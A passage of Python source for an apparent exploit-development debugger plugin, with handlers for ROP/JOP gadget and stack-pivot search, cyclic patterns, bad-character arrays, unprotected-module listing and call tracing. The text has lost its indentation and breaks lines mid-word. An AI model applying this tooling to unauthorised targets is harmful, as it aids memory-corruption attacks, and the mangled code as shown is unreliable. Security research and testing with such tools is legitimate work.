teria)
#report findings to log
dbg.log("[+] Processing pointers to interesting rop func
tions")
logfile = MnLog("ropfunc.txt")
thislog = logfile.reset()
processResults(ropfuncs,logfile,thislog)
global silent
silent = True
dbg.log("[+] Processing offsets to pointers to interesti
ng rop functions")
logfile = MnLog("ropfunc_offset.txt")
thislog = logfile.reset()

processResults(ropfuncoffsets,logfile,thislog)
def procStackPivots(args):
procROP(args,"stackpivot")
def procROP(args,mode="all"):
#default criteria
modulecriteria={}
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
modulecriteria["os"] = False
criteria={}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
# handle optional arguments
depth = 6
maxoffset = 40
thedistance = 8
split = False
fast = False
endingstr = ""
endings = []
if "depth" in args:
if type(args["depth"]).__name__.lower() != "bool
":
try:
depth = int(args["depth"])
except:
pass
if "offset" in args:
if type(args["offset"]).__name__.lower() != "boo
l":
try:
maxoffset = int(args["offset"])
except:
pass
if "distance" in args:
if type(args["distance"]).__name__.lower() != "b
ool":
try:
thedistance = args["distance"]
except:
pass
if "split" in args:
if type(args["split"]).__name__.lower() == "bool
":
split = args["split"]
if "fast" in args:
if type(args["fast"]).__name__.lower() == "bool"
:
fast = args["fast"]

if "end" in args:
if type(args["end"]).__name__.lower() == "str":
endingstr = args["end"].replace("'","").
replace('"',"").strip()
endings = endingstr.split("#")
if "f" in args:
if args["f"] <> "":
criteria["f"] = args["f"]
if "rva" in args:
criteria["rva"] = True
if mode == "stackpivot":
fast = False
endings = ""
split = False
else:
mode = "all"
findROPGADGETS(modulecriteria,criteria,endings,maxoffset
,depth,split,thedistance,fast,mode)

def procJOP(args,mode="all"):
#default criteria
modulecriteria={}
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
modulecriteria["os"] = False
criteria={}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
# handle optional arguments
depth = 6
if "depth" in args:
if type(args["depth"]).__name__.lower() != "bool
":
try:
depth = int(args["depth"])
except:
pass
findJOPGADGETS(modulecriteria,criteria,depth)
def procCreatePATTERN(args):
size = 0
pattern = ""
if "?" in args and args["?"] != "":
try:
size = int(args["?"])
except:

size = 0
if size == 0:
dbg.log("Please enter a valid size",highlight=1)
else:
pattern = createPattern(size,args)
dbg.log("Creating cyclic pattern of %d bytes" %
size)
dbg.log(pattern)
global ignoremodules
ignoremodules = True
objpatternfile = MnLog("pattern.txt")
patternfile = objpatternfile.reset()
objpatternfile.write("\nPattern of " + str(size)
+ " bytes :\n",patternfile)
objpatternfile.write("-" * (19 + len(str(size)))
,patternfile)
objpatternfile.write("\n" + pattern,patternfile)
if not silent:
dbg.log("Note: don't copy this pattern f
rom the log window, it might be truncated !",highlight=1)
dbg.log("It's better to open %s and copy
the pattern from the file" % patternfile,highlight=1)
ignoremodules = False
return
def procOffsetPATTERN(args):
egg = ""
if "?" in args and args["?"] != "":
try:
egg = args["?"]
except:
egg = ""
if egg == "":
dbg.log("Please enter a valid target",highlight=
1)
else:
findOffsetInPattern(egg,-1,args)
return
# ----- Comparing file output ----- #
def procFileCOMPARE(args):
modulecriteria={}
criteria={}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
allfiles=[]
tomatch=""
checkstrict=True
rangeval = 0
fast = False
if "ptronly" in args or "ptrsonly" in args:
fast = True
if "f" in args:
if args["f"] <> "":
rawfilenames=args["f"].replace('"',"")
allfiles = rawfilenames.split(',')
dbg.log("[+] Number of files to be exami
ned : %d " % len(allfiles))

if "range" in args:
if not type(args["range"]).__name__.lower() == "
bool":
strrange = args["range"].lower()
if strrange.startswith("0x") and len(str
range) > 2 :
rangeval = int(strrange,16)
else:
try:
rangeval = int(args["ran
ge"])
except:
rangeval = 0
if rangeval > 0:
dbg.log("[+] Find overlap using
pointer +/- range, value %d" % rangeval)
dbg.log("
Note : this will si
gnificantly slow down the comparison process !")
else:
dbg.log("Please provide a numeric value
^(> 0) with option -range",highlight=1)
return
else:
if "contains" in args:
if type(args["contains"]).__name__.lower
() == "str":
tomatch = args["contains"].repla
ce("'","").replace('"',"")
if "nostrict" in args:
if type(args["nostrict"]).__name__.lower
() == "bool":
checkstrict = not args["nostrict
"]
dbg.log("[+] Instructions must m
atch in all files ? %s" % checkstrict)
# maybe one of the arguments is a folder
callfiles = allfiles
allfiles = []
for tfile in callfiles:
if os.path.isdir(tfile):
# folder, get all files from this folder
for root,dirs,files in os.walk(tfile):
for dfile in files:
allfiles.append(os.path.
join(root,dfile))
else:
allfiles.append(tfile)
if len(allfiles) > 1:
findFILECOMPARISON(modulecriteria,criteria,allfi
les,tomatch,checkstrict,rangeval,fast)
else:
dbg.log("Please specify at least 2 filenames to
compare",highlight=1)
# ----- Find bytes in memory ----- #
def procFind(args):
modulecriteria={}
criteria={}
pattern = ""
base = 0

offset = 0
top = TOP_USERLAND
consecutive = False
ftype = ""
level = 0
offsetlevel = 0
if not "a" in args:
args["a"] = "*"
ptronly = False
if "ptronly" in args or "ptrsonly" in args:
ptronly = True
#search for all pointers by default
if not "x" in args:
args["x"] = "*"
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
if criteria["accesslevel"] == "":
return
if not "s" in args:
dbg.log("-s <search pattern (or filename)> is a
mandatory argument",highlight=1)
return
pattern = args["s"]
if "unicode" in args:
criteria["unic"] = True
if "b" in args:
try:
base = int(args["b"],16)
except:
dbg.log("invalid base address: %s" % arg
s["b"],highlight=1)
return
if "t" in args:
try:
top = int(args["t"],16)
except:
dbg.log("invalid top address: %s" % args
["t"],highlight=1)
return
if "offset" in args:
if not args["offset"].__class__.__name__ == "boo
l":
if "0x" in args["offset"].lower():
try:
offset = 0 - int(args["o
ffset"],16)
except:
dbg.log("invalid offset
value",highlight=1)
return
else:
try:
offset = 0 - int(args["o

ffset"])
except:
dbg.log("invalid offset
value",highlight=1)
return
else:
dbg.log("invalid offset value",highlight
=1)
return
if "level" in args:
try:
level = int(args["level"])
except:
dbg.log("invalid level value",highlight=
1)
return
if "offsetlevel" in args:
try:
offsetlevel = int(args["offsetlevel"])
except:
dbg.log("invalid offsetlevel value",high
light=1)
return
if "c" in args:
dbg.log("

- Skipping consecutive pointers, sh

owing size instead")


consecutive = True
if "type" in args:
if not args["type"] in ["bin","asc","ptr","instr
","file"]:
dbg.log("Invalid search type : %s" % arg
s["type"], highlight=1)
return
ftype = args["type"]
if ftype == "file":
filename = args["s"].replace('"',"").rep
lace("'","")
#see if we can read the file
if not os.path.isfile(filename):
dbg.log("Unable to find/read fil
e %s" % filename,highlight=1)
return
rangep2p = 0
if "p2p" in args or level > 0:
dbg.log("
- Looking for pointers to pointers"
)
criteria["p2p"] = True
if "r" in args:
try:
rangep2p = int(args["r"])
except:
pass
if rangep2p > 0:
dbg.log("
- Will search for c

lose pointers (%d bytes backwards)" % rangep2p)


if "p2p" in args:
level = 1
if level > 0:
dbg.log("

- Recursive levels : %d" % level)

allpointers = findPattern(modulecriteria,criteria,patter
n,ftype,base,top,consecutive,rangep2p,level,offset,offsetlevel)
logfile = MnLog("find.txt")
thislog = logfile.reset()
processResults(allpointers,logfile,thislog,{},ptronly)
return
# ---- Find instructions, wildcard search ----- #
def procFindWild(args):
modulecriteria={}
criteria={}
pattern = ""
patterntype = ""
base = 0
top = TOP_USERLAND
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
if not "s" in args:
dbg.log("-s <search pattern (or filename)> is a
mandatory argument",highlight=1)
return
pattern = args["s"]
patterntypes = ["bin","str"]
if "type" in args:
if type(args["type"]).__name__.lower() != "bool"
:
if args["type"] in patterntypes:
patterntype = args["type"]
else:
dbg.log("-type argument only tak
es one of these values: %s" % patterntypes,highlight=1)
return
else:
dbg.log("Please specify a valid value fo
r -type. Valid values are %s" % patterntypes,highlight=1)
return
if patterntype == "":
if "\\x" in pattern:
patterntype = "bin"
else:
patterntype = "str"
if "b" in args:
base,addyok = getAddyArg(args["b"])

if not addyok:
dbg.log("invalid base address: %s" % arg
s["b"],highlight=1)
return
if "t" in args:
top,addyok = getAddyArg(args["t"])
if not addyok:
dbg.log("invalid top address: %s" % args
["t"],highlight=1)
return
if "depth" in args:
try:
criteria["depth"] = int(args["depth"])
except:
dbg.log("invalid depth value",highlight=
1)
return
if "all" in args:
criteria["all"] = True
if "distance" in args:
if type(args["distance"]).__name__.lower() == "b
ool":
dbg.log("invalid distance value(s)",high
light=1)
else:
distancestr = args["distance"]
distanceparts = distancestr.split(",")
for parts in distanceparts:
valueparts = parts.split("=")
if len(valueparts) > 1:
if valueparts[0].lower()
== "min":
try:
mindista
nce = int(valueparts[1])
except:
mindista
nce = 0
if valueparts[0].lower()
== "max":
try:
maxdista
nce = int(valueparts[1])
except:
maxdista
nce = 0
if maxdistance < mindistance:
tmp = maxdistance
maxdistance = mindistance
mindistance = tmp
criteria["mindistance"] = mindistance
criteria["maxdistance"] = maxdistance
allpointers = findPatternWild(modulecriteria,criteria,pa

ttern,base,top,patterntype)
logfile = MnLog("findwild.txt")
thislog = logfile.reset()
processResults(allpointers,logfile,thislog)
return
# ----- assemble: assemble instructions to opcodes ----- #
def procAssemble(args):
opcodes = ""
encoder = ""
if not 's' in args:
dbg.log("Mandatory argument -s <opcodes> missing
", highlight=1)
return
opcodes = args['s']
if 'e' in args:
# TODO: implement encoder support
dbg.log("Encoder support not yet implemented", h
ighlight=1)
return
encoder = args['e'].lowercase()
if encoder not in ["ascii"]:
dbg.log("Invalid encoder : %s" % encoder
, highlight=1)
return
assemble(opcodes,encoder)
# ----- info: show information about an address ----- #
def procInfo(args):
if not "a" in args:
dbg.log("Missing mandatory argument -a", highlig
ht=1)
return
address,addyok = getAddyArg(args["a"])
if not addyok:
dbg.log("%s is an invalid address" % args["a"],
highlight=1)
return
ptr = MnPointer(address)
modname = ptr.belongsTo()
modinfo = None
if modname != "":
modinfo = MnModule(modname)
rebase = ""
rva=0
if modinfo :
rva = address - modinfo.moduleBase
procFlags(args)
dbg.log("")
dbg.log("[+] Information about address 0x%s" % toHex(add
ress))
dbg.log("
%s" % ptr.__str__())
thepage = dbg.getMemoryPageByAddress(address)

dbg.log("
Address is part of page 0x%08x - 0x%08x" %
(thepage.getBaseAddress(),thepage.getBaseAddress()+thepage.getSize()))
section = ""
try:
section = thepage.getSection()
except:
section = ""
if section != "":
dbg.log("
Section : %s" % section)
if rva != 0:
dbg.log("
Offset from module base: 0x%x" % rv
a)
if modinfo:
eatlist = modinfo.getEAT()
if address in eatlist:
dbg.log("
Address is start of
function %s in %s" % (eatlist[address],modname))
if ptr.isOnStack():
stacks = getStacks()
stackref = ""
for tid in stacks:
currstack = stacks[tid]
if currstack[0] <= address and address <
= currstack[1]:
stackref = " (Thread 0x%08x, Sta
ck Base : 0x%08x, Stack Top : 0x%08x)" % (tid,currstack[0],currstack[1])
break
dbg.log("
This address is in a stack segment
%s" % stackref)
if modinfo:
dbg.log("
Module: %s" % modinfo.__str__())
else:
output = ""
if ptr.isInHeap():
dbg.log("
This address resides in the
heap")
dbg.log("")
ptr.showHeapBlockInfo()
else:
dbg.log("
Module: None")
try:
dbg.log("")
dbg.log("[+] Disassembly:")
op = dbg.disasm(address)
opstring=op.getDisasm()
dbg.log("
Instruction at %s : %s" % (toHex(ad
dress),opstring))
except:
pass
if __DEBUGGERAPP__ == "WinDBG":
dbg.log("")
dbg.log("Output of !address 0x%08x:" % address)
output = dbg.nativeCommand("!address 0x%08x" % a
ddress)
dbg.logLines(output)
dbg.log("")
# ----- dump: Dump some memory to a file ----- #
def procDump(args):

filename = ""
if "f" not in args:
dbg.log("Missing mandatory argument -f filename"
, highlight=1)
return
filename = args["f"]
address = None
if "s" not in args:
dbg.log("Missing mandatory argument -s address",
highlight=1)
return
startaddress = str(args["s"]).replace("0x","").replace("
0X","")
if not isAddress(startaddress):
dbg.log("You have specified an invalid start add
ress", highlight=1)
return
address = addrToInt(startaddress)
size = 0
if "n" in args:
size = int(args["n"])
elif "e" in args:
endaddress = str(args["e"]).replace("0x","").rep
lace("0X","")
if not isAddress(endaddress):
dbg.log("You have specified an invalid e
nd address", highlight=1)
return
end = addrToInt(endaddress)
if end < address:
dbg.log("end address %s is before start
address %s" % (args["e"],args["s"]), highlight=1)
return
size = end - address
else:
dbg.log("you need to specify either the size of
the copy with -n or the end address with -e ", highlight=1)
return
dumpMemoryToFile(address,size,filename)
# ----- compare : Compare contents of a file with copy in memory
, indicate bad chars / corruption ----- #
def procCompare(args):
startpos = 0
filename = ""
skipmodules = False
allregs = dbg.getRegs()
if "f" in args:
filename = args["f"].replace('"',"").replace("'"
,"")
#see if we can read the file
if not os.path.isfile(filename):
dbg.log("Unable to find/read file %s" %
filename,highlight=1)
return
else:
dbg.log("You must specify a valid filename using

parameter -f", highlight=1)


return
if "a" in args:
startpos,addyok = getAddyArg(args["a"])
if not addyok:
dbg.log("%s is an invalid address" % arg
s["a"], highlight=1)
return
if "s" in args:
skipmodules = True
compareFileWithMemory(filename,startpos,skipmodules)
# ----- offset: Calculate the offset between two addresses ----#
def procOffset(args):
extratext1 = ""
extratext2 = ""
isReg_a1 = False
isReg_a2 = False
regs = dbg.getRegs()
if "a1" not in args:
dbg.log("Missing mandatory argument -a1 <address
>", highlight=1)
return
a1 = args["a1"]
if "a2" not in args:
dbg.log("Missing mandatory argument -a2 <address
>", highlight=1)
return
a2 = args["a2"]
a1,addyok = getAddyArg(args["a1"])
if not addyok:
dbg.log("0x%08x is not a valid address" % a1, hi
ghlight=1)
return
a2,addyok = getAddyArg(args["a2"])
if not addyok:
dbg.log("0x%08x is not a valid address" % a2, hi
ghlight=1)
return
diff = a2 - a1
result=toHex(diff)
negjmpbytes = ""
if a1 > a2:
ndiff = a1 - a2
result=toHex(4294967296-ndiff)
negjmpbytes="\\x"+ result[6]+result[7]+"\\x"+res
ult[4]+result[5]+"\\x"+result[2]+result[3]+"\\x"+result[0]+result[1]
regaction="sub"
dbg.log("Offset from 0x%08x to 0x%08x : %d (0x%s) bytes"
% (a1,a2,diff,result))
if a1 > a2:
dbg.log("Negative jmp offset : %s" % negjmpbytes
)
else:

dbg.log("Jmp offset : %s" % negjmpbytes)


return
# ----- bp: Set a breakpoint on read/write/exe access ----- #
def procBp(args):
isReg_a = False
regs = dbg.getRegs()
thistype = ""
if "a" not in args:
dbg.log("Missing mandatory argument -a address",
highlight=1)
dbg.log("The address can be an absolute address,
a register, or a modulename!functionname")
return
a = str(args["a"])
for reg in regs:
if reg.upper() == a.upper():
a=toHex(regs[reg])
isReg_a = True
break
a = a.upper().replace("0X","").lower()
if not isAddress(str(a)):
# maybe it's a modulename!function
if str(a).find("!") > -1:
modparts = str(a).split("!")
modname = modparts[0]
if not modname.lower().endswith(".dll"):
modname += ".dll"
themodule = MnModule(modname)
if themodule != None and len(modparts) >
1:
eatlist = themodule.getEAT()
funcname = modparts[1].lower()
addyfound = False
for eatentry in eatlist:
if eatlist[eatentry].low
er() == funcname:
a = "%08x" % (ea
tentry)
addyfound = True
break
if not addyfound:
# maybe it's just a symb
ol, try to resolve
if __DEBUGGERAPP__ == "W
inDBG":
symboladdress =
dbg.resolveSymbol(a)
if symboladdress
!= "" :
a = symb
oladdress
addyfoun
d = True
if not addyfound:
dbg.log("Please specify
a valid address/register/modulename!functionname (-a)", highlight=1)

return
else:
dbg.log("Please specify a valid
address/register/modulename!functionname (-a)", highlight=1)
return
else:
dbg.log("Please specify a valid address/
register/modulename!functionname (-a)", highlight=1)
return
valid_types = ["READ", "WRITE", "SFX", "EXEC"]
if "t" not in args:
dbg.log("Missing mandatory argument -t type", hi
ghlight=1)
dbg.log("Valid types are: %s" % ", ".join(valid_
types))
return
else:
thistype = args["t"].upper()
if not thistype in valid_types:
dbg.log("Invalid type : %s" % thistype)
return
if thistype == "EXEC":
thistype = "SFX"
a = hexStrToInt(a)
dbg.setMemBreakpoint(a,thistype[0])
dbg.log("Breakpoint set on %s of 0x%s" % (thistype,toHex
(a)),highlight=1)
# ----- ct: calltrace ---- #
def procCallTrace(args):
modulecriteria={}
criteria={}
criteria["accesslevel"] = "X"
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
modulestosearch = getModulesToQuery(modulecriteria)
hooks = []
rethooks = []
showargs = 0
hookrets = False
if not "m" in args:
dbg.log(" ** Please specify what module(s) you w
ant to include in the trace, using argument -m **",highlight=1)
return
if "a" in args:
if args["a"] != "":
try:
showargs = int(args["a"])
except:
showargs = 0
if "r" in args:

hookrets = True
toignore = []
limit_scope = True
if not "all" in args:
# fill up array
toignore.append("PeekMessage")
toignore.append("GetParent")
toignore.append("GetFocus")
toignore.append("EnterCritical")
toignore.append("LeaveCritical")
toignore.append("GetWindow")
toignore.append("CallnextHook")
toignore.append("TlsGetValue")
toignore.append("DefWindowProc")
toignore.append("SetTextColor")
toignore.append("DrawText")
toignore.append("TranslateAccel")
toignore.append("TranslateMessage")
toignore.append("DispatchMessage")
toignore.append("isChild")
toignore.append("GetSysColor")
toignore.append("SetBkColor")
toignore.append("GetDlgCtrl")
toignore.append("CallWindowProc")
toignore.append("HideCaret")
toignore.append("MessageBeep")
toignore.append("SetWindowText")
toignore.append("GetDlgItem")
toignore.append("SetFocus")
toignore.append("SetCursor")
toignore.append("LoadCursor")
toignore.append("SetEvent")
toignore.append("SetDlgItem")
toignore.append("SetWindowPos")
toignore.append("GetDC")
toignore.append("ReleaseDC")
toignore.append("GetDeviceCaps")
toignore.append("GetClientRect")
toignore.append("etLastError")
else:
limit_scope = False
if len( modulestosearch) > 0:
dbg.log("[+] Initializing log file")
logfile = MnLog("calltrace.txt")
thislog = logfile.reset()
dbg.log("[+] Number of CALL arguments to display
: %d" % showargs)
dbg.log("[+] Finding instructions & placing hook
s")
for thismod in modulestosearch:
dbg.updateLog()
objMod = dbg.getModule(thismod)
if not objMod.isAnalysed:
dbg.log("
Analysing code...")
objMod.Analyse()
themod = MnModule(thismod)
modcodebase = themod.moduleCodebase
modcodetop = themod.moduleCodetop
dbg.setStatusBar("Placing hooks in %s...
" % thismod)

dbg.log("

* %s (0x%08x - 0x%08x)" % (

thismod,modcodebase,modcodetop))
ccnt = 0
rcnt = 0
thisaddr = modcodebase
allfuncs = dbg.getAllFunctions(modcodeba
se)
for func in allfuncs:
thisaddr = func
thisfunc = dbg.getFunction(thisa
ddr)
instrcnt = 0
while thisfunc.hasAddress(thisad
dr):
try:
if instrcnt == 0
:
thisopco
de = dbg.disasm(thisaddr)
else:
thisopco
de = dbg.disasmForward(thisaddr,1)
thisaddr
= thisopcode.getAddress()
instruction = th
isopcode.getDisasm()
if instruction.s
tartswith("CALL "):
ignore_t
his_instruction = False
for igno
res in toignore:
if instruction.lower().find(ignores.lower()) > -1:
ignore_this_instruction = True
break
if not i
gnore_this_instruction:
if not thisaddr in hooks:
hooks.append(thisaddr)
myhook = MnCallTraceHook(thisaddr,showargs,instruction,thislog)
myhook.add("HOOK_CT_%s" % thisaddr , thisaddr)
ccnt +=
1
if hookrets and
instruction.startswith("RETN"):
if not t
hisaddr in rethooks:
rethooks.append(thisaddr)
myhook = MnCallTraceHook(thisaddr,showargs,instruction,thislog)
myhook.add("HOOK_CT_%s" % thisaddr , thisaddr)

except:
#dbg.logLines(tr
aceback.format_exc(),highlight=True)
break
instrcnt += 1
dbg.log("[+] Total number of CALL hooks placed :
%d" % len(hooks))
if hookrets:
dbg.log("[+] Total number of RETN hooks
placed : %d" % len(rethooks))
else:
dbg.log("[!] No modules selected or found",highl
ight=1)
return "Done"
# ----- bu: set a deferred breakpoint ---- #
def procBu(args):
if not "a" in args:
dbg.log("No targets defined. (-a)",highlight=1)
return
else:
allargs = args["a"]
bpargs = allargs.split(",")
breakpoints = {}
dbg.log("")
dbg.log("Received %d addresses//functions to pro
cess" % len(bpargs))
# set a breakpoint right away for addresses and
functions that are mapped already
for tbparg in bpargs:
bparg = tbparg.replace(" ","")
# address or module.function ?
if bparg.find(".") > -1:
functionaddress = dbg.getAddress
(bparg)
if functionaddress > 0:
# module.function is alr
eady mapped, we can set a bp right away
dbg.setBreakpoint(functi
onaddress)
breakpoints[bparg] = Tru
e
dbg.log("Breakpoint set
at 0x%08x (%s), was already mapped" % (functionaddress,bparg), highlight=1)
else:
breakpoints[bparg] = Fal
se # no breakpoint set yet
elif bparg.find("+") > -1:
ptrparts = bparg.split("+")
modname = ptrparts[0]
if not modname.lower().endswith(
".dll"):
modname += ".dll"
themodule = getModuleObj(modname
)
if themodule != None and len(ptr
parts) > 1:
address = themodule.getB
ase() + int(ptrparts[1],16)
if address > 0:

dbg.log("Breakpo
int set at %s (0x%08x), was already mapped" % (bparg,address),highlight=1)
dbg.setBreakpoin
t(address)
breakpoints[bpar
g] = True
else:
breakpoints[bpar
g] = False
else:
breakpoints[bparg] = Fal
se
if bparg.find(".") == -1 and bparg.find(
"+") == -1:
# address, see if it is mapped,
by reading one byte from that location
address = -1
try:
address = int(bparg,16)
except:
pass
thispage = dbg.getMemoryPageByAd
dress(address)
if thispage != None:
dbg.setBreakpoint(addres
s)
dbg.log("Breakpoint set
at 0x%08x, was already mapped" % address, highlight=1)
breakpoints[bparg] = Tru
e
else:
breakpoints[bparg] = Fal
se
# get the correct addresses to put hook on
loadlibraryA = dbg.getAddress("kernel32.LoadLibr
aryA")
loadlibraryW = dbg.getAddress("kernel32.LoadLibr
aryW")
if loadlibraryA > 0 and loadlibraryW > 0:
# find end of function for each
endAfound = False
endWfound = False
cnt = 1
while not endAfound:
objInstr = dbg.disasmForward(loa
dlibraryA, cnt)
strInstr = objInstr.getDisasm()
if strInstr.startswith("RETN"):
endAfound = True
loadlibraryA = objInstr.
getAddress()
cnt += 1
cnt = 1
while not endWfound:
objInstr = dbg.disasmForward(loa
dlibraryW, cnt)

strInstr = objInstr.getDisasm()
if strInstr.startswith("RETN"):
endWfound = True
loadlibraryW = objInstr.
getAddress()
cnt += 1
# if addresses/functions are left, throw
them into their own hooks,
# one for each LoadLibrary type.
hooksplaced = False
for bptarget in breakpoints:
if not breakpoints[bptarget]:
myhookA = MnDeferredHook
(loadlibraryA, bptarget)
myhookA.add("HOOK_A_%s"
% bptarget, loadlibraryA)
myhookW = MnDeferredHook
(loadlibraryW, bptarget)
myhookW.add("HOOK_W_%s"
% bptarget, loadlibraryW)
dbg.log("Hooks for %s in
stalled" % bptarget)
hooksplaced = True
if not hooksplaced:
dbg.log("No hooks placed")
else:
dbg.log("** Unable to place hooks, make
sure kernel32.dll is loaded",highlight=1)
return "Done"
# ----- bf: Set a breakpoint on exported functions of a module ---- #
def procBf(args):
funcfilter = ""
mode = ""
type = "export"
modes = ["add","del","list"]
types = ["import","export","iat","eat"]
modulecriteria={}
criteria={}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
if "s" in args:
try:
funcfilter = args["s"].lower()
except:
dbg.log("No functions selected. (-s)",hi
ghlight=1)
return
else:
dbg.log("No functions selected. (-s)",highlight=
1)

return
if "t" in args:
try:
mode = args["t"].lower()
except:
pass
if "f" in args:
try:
type = args["f"].lower()
except:
pass
if not type in types:
dbg.log("No valid function type selected (-f <im
port|export>)",highlight=1)
return
if not mode in modes or mode=="":
dbg.log("No valid action defined. (-t add|del|li
st)")
doManageBpOnFunc(modulecriteria,criteria,funcfilter,mode
,type)
return
# ----- Show info about modules -------#
def procModInfoS(args):
modulecriteria = {}
criteria = {}
modulecriteria["safeseh"] = False
dbg.log("Safeseh unprotected modules :")
modulestosearch = getModulesToQuery(modulecriteria)
showModuleTable("",modulestosearch)
return
def procModInfoSA(args):
modulecriteria = {}
criteria = {}
modulecriteria["safeseh"] = False
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
dbg.log("Safeseh unprotected, no aslr & no rebase module
s :")
modulestosearch = getModulesToQuery(modulecriteria)
showModuleTable("",modulestosearch)
return
def procModInfoA(args):
modulecriteria = {}
criteria = {}
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
dbg.log("No aslr & no rebase modules :")
modulestosearch = getModulesToQuery(modulecriteria)
showModuleTable("",modulestosearch)
return

# ----- Print byte array ----- #


def procByteArray(args):
badchars = ""
forward = True
startval = 0
endval = 255
sign = 1
bytesperline = 32
if "b" in args:
dbg.log(" *** Note: parameter -b has been deprec
ated and replaced with -cpb ***")
if type(args["b"]).__name__.lower() != "bool":
if not "cpb" in args:
args["cpb"] = args["b"]
if "r" in args:
forward = False
startval = -255
endval = 0
sign = -1
badchars = ""
if "cpb" in args:
badchars = args["cpb"]
badchars = badchars.replace("'","")
badchars = badchars.replace('"',"")
badchars = badchars.replace("\\x","")
# see if we need to expand ..
bpos = 0
newbadchars = ""
while bpos < len(badchars):
curchar = badchars[bpos]+badchars[bpos+1]
if curchar == "..":
pos = bpos
if pos > 1 and pos <= len(badchars)-4:
# get byte before and after ..
bytebefore = badchars[pos-2] + b
adchars[pos-1]
byteafter = badchars[pos+2] + ba
dchars[pos+3]
bbefore = int(bytebefore,16)
bafter = int(byteafter,16)
insertbytes = ""
bbefore += 1
while bbefore < bafter:
insertbytes += "%02x" %
bbefore
bbefore += 1
newbadchars += insertbytes
else:
newbadchars += curchar
bpos += 2
badchars = newbadchars
cnt = 0
strb = ""
while cnt < len(badchars):
strb=strb+binascii.a2b_hex(badchars[cnt]+badchar
s[cnt+1])

cnt=cnt+2
dbg.log("Generating table, excluding %d bad chars..." %
len(strb))
arraytable = []
binarray = ""
while startval <= endval:
thisval = startval * sign
hexbyte = hex(thisval)[2:]
binbyte = hex2bin(toHexByte(thisval))
if len(hexbyte) == 1:
hexbyte = "0" + hexbyte
hexbyte2 = binascii.a2b_hex(hexbyte)
if not hexbyte2 in strb:
arraytable.append(hexbyte)
binarray += binbyte
startval += 1
dbg.log("Dumping table to file")
output = ""
cnt = 0
outputline = '"'
totalbytes = len(arraytable)
tablecnt = 0
while tablecnt < totalbytes:
if (cnt < bytesperline):
outputline += "\\x" + arraytable[tablecn
t]
else:
outputline += '"\n'
cnt = 0
output += outputline
outputline = '"\\x' + arraytable[tablecn
t]
tablecnt += 1
cnt += 1
if (cnt-1) < bytesperline:
outputline += '"\n'
output += outputline
global ignoremodules
ignoremodules = True
arrayfilename="bytearray.txt"
objarrayfile = MnLog(arrayfilename)
arrayfile = objarrayfile.reset()
binfilename = arrayfile.replace("bytearray.txt","bytearr
ay.bin")
objarrayfile.write(output,arrayfile)
ignoremodules = False
dbg.logLines(output)
dbg.log("")
binfile = open(binfilename,"wb")
binfile.write(binarray)
binfile.close()
dbg.log("Done, wrote %d bytes to file %s" % (len(arrayta
ble),arrayfile))
dbg.log("Binary output saved in %s" % binfilename)
return

#----- Read binary file, print 'nice' header -----#


def procPrintHeader(args):
alltypes = ["ruby","rb","python","py"]
thistype = "ruby"
filename = ""
typewrong = False
stopnow = False
if "f" in args:
if type(args["f"]).__name__.lower() != "bool":
filename = args["f"]
if "t" in args:
if type(args["t"]).__name__.lower() != "bool":
if args["t"] in alltypes:
thistype = args["t"]
else:
typewrong = True
else:
typewrong = True
if typewrong:
dbg.log("Invalid type specified with option -t.
Valid types are: %s" % alltypes,highlight=1)
stopnow = True
else:
if thistype == "rb":
thistype = "ruby"
if thistype == "py":
thistype = "python"
if filename == "":
dbg.log("Missing argument -f <source filename>",
highlight=1)
stopnow = True
if stopnow:
return
filename = filename.replace("'","").replace('"',"")
content = ""
try:
file = open(filename,"rb")
content = file.read()
file.close()
except:
dbg.log("Unable to read file %s" % filename,high
light=1)
return
dbg.log("Read %d bytes from %s" % (len(content),filename
))
dbg.log("Output type: %s" % thistype)
cnt = 0
linecnt = 0
output = ""
thisline = ""
max = len(content)
addchar = "<<"

if thistype == "python":
addchar = "+="
while cnt < max:
# first check for unicode
if cnt < max-1:
if linecnt == 0:
thisline = "header = \""
else:
thisline = "header %s \"" % addc
har
thiscnt = cnt
while cnt < max-1 and isAscii2(ord(conte
nt[cnt])) and ord(content[cnt+1]) == 0:
if content[cnt] == "\\":
thisline += "\\"
if content[cnt] == "\"":
thisline += "\\"
thisline += "%s\\x00" % content[
cnt]
cnt += 2
if thiscnt != cnt:
output += thisline + "\"" + "\n"
linecnt += 1
if linecnt == 0:
thisline = "header = \""
else:
thisline = "header %s \"" % addchar
thiscnt = cnt
# ascii repetitions
reps = 1
startval = content[cnt]
if isAscii(ord(content[cnt])):
while cnt < max-1:
if startval == content[cnt+1]:
reps += 1
cnt += 1
else:
break
if reps > 1:
if startval == "\\":
startval += "\\"
if startval == "\"":
startval = "\\" + "\""
output += thisline + startval +
"\" * " + str(reps) + "\n"
cnt += 1
linecnt += 1
continue
if linecnt == 0:
thisline = "header = \""
else:
thisline = "header %s \"" % addchar
thiscnt = cnt

# check for just ascii


while cnt < max and isAscii2(ord(content[cnt])):
if cnt < max-1 and ord(content[cnt+1]) =
= 0:
break
if content[cnt] == "\\":
thisline += "\\"
if content[cnt] == "\"":
thisline += "\\"
thisline += content[cnt]
cnt += 1
if thiscnt != cnt:
output += thisline + "\"" + "\n"
linecnt += 1
#check others : repetitions
if cnt < max:
if linecnt == 0:
thisline = "header = \""
else:
thisline = "header %s \"" % addc
har
thiscnt = cnt
while cnt < max:
if isAscii2(ord(content[cnt])):
break
if cnt < max-1 and isAscii2(ord(
content[cnt])) and ord(content[cnt+1]) == 0:
break
#check repetitions
reps = 1
startval = ord(content[cnt])
while cnt < max-1:
if startval == ord(conte
nt[cnt+1]):
reps += 1
cnt += 1
else:
break
if reps > 1:
if len(thisline) > 12:
output += thisli
ne + "\"" + "\n"
if linecnt == 0:
thisline = "head
er = \"\\x" + "%02x\" * %d" % (startval,reps)
else:
thisline = "head
er %s \"\\x" % addchar
thisline += "%02
x\" * %d" % (startval,reps)
output += thisline + "\n
"
thisline = "header %s \"
" % addchar
linecnt += 1
else:

